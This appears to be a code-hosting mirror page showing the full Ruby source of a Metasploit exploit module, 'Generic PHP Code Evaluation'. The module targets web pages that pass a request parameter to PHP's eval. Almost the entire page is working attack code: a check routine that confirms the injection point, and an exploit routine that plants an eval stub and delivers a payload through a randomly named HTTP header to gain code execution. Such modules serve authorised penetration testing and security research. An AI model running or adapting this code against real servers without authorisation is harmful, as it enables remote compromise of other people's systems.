/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/exploits/unix/webapp/php_eval.rb
155 строк
6 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in unix/webapp exploit modules
30 апр 2026, 02:16
30 апр 2026, 02:16
0bf595c
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Generic PHP Code Evaluation', 'Description' => %q{ This module can be used to exploits things like: <?php eval($_REQUEST['eval']); ?> The payload will be delivered in a header. It is likely that HTTP evasion options will break this exploit. }, 'Author' => [ 'egypt', 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => false, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Payload' => { # Max header length for Apache, # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize # However, 4000 max url length for some old versions of apache according to # http://www.boutell.com/newfaq/misc/urllength.html 'Space' => 8190, 'DisableNops' => true, 'BadChars' => '\r', # If using ' ' or '\n', causes issues when using payload/generic/custom's PAYLOADSTR 'Compat' => { 'ConnectionType' => 'find' }, 'Keys' => [ 'php' ] }, 'DisclosureDate' => '2008-10-13', 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('FORMDATA', [ false, "POST data to send, with the eval()'d parameter changed to !INJECT!. Otherwise will be a GET request." ]), OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !INJECT!", '/test.php?eval=!INJECT!' ]), OptString.new('HEADERS', [ false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"' ]) ] ) end def check method = datastore['FORMDATA'] ? 'POST' : 'GET' payload1 = rand_text_alphanumeric(rand(8..15)) payload2 = rand_text_alphanumeric(rand(8..15)) stub = "error_reporting(0);echo '#{payload1}'.'#{payload2}';" uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(stub)) print_status("Checking URI via #{method}: #{uri}") response = { 'global' => true, 'uri' => uri, 'method' => method, 'headers' => datastore_headers.merge( 'Connection' => 'close' ) } unless method.casecmp?('get') data = datastore['FORMDATA'].sub('!INJECT!', stub) response['headers']['Content-Type'] = 'application/x-www-form-urlencoded' response['headers']['Content-Length'] = data.length response['data'] = data end response = send_request_raw(response) return Exploit::CheckCode::Unknown('Could not determine the target status') unless response return Exploit::CheckCode::Vulnerable('The target is vulnerable') if response.body.match(payload1 + payload2) return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200 vprint_warning("Server responded with: HTTP #{response.code}") return Exploit::CheckCode::Unknown('Could not determine the target status') end def datastore_headers headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : '' headers_hash = {} if headers && !headers.empty? headers.split(',').each do |header| next if header.nil? || header.empty? key, value = header.split('=', 2) next if key.nil? || value.nil? key = key.strip value = value.strip next if key.empty? || value.empty? headers_hash[key] = value end end headers_hash end def exploit method = datastore['FORMDATA'] ? 'POST' : 'GET' headername = 'X-' + Rex::Text.rand_text_alpha_upper(rand(10..19)) stub = 'error_reporting(0);eval($_SERVER["HTTP_' + headername.gsub('-', '_') + '"]);' vprint_status("PHP code via #{method} using #{headername} header: #{stub}") uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(stub)) feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{Rex::Socket.to_authority(rhost, rport)}#{uri}" feedback_text << " -> #{data}" unless method.casecmp?('get') print_status(feedback_text) response = { 'global' => true, 'uri' => uri, 'method' => method, 'headers' => datastore_headers.merge( headername => payload.encoded, 'Connection' => 'close' ) } unless method.casecmp?('get') data = datastore['FORMDATA'].sub('!INJECT!', stub) response['headers']['Content-Type'] = 'application/x-www-form-urlencoded' response['headers']['Content-Length'] = data.length response['data'] = data end # very short timeout because the request may never return if we're # sending a socket payload timeout = 0 response = send_request_raw(response, timeout) # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails if response.nil? vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.') elsif response.code != 200 vprint_error("Error with payload request (HTTP #{response.code}, should be 200)") end end end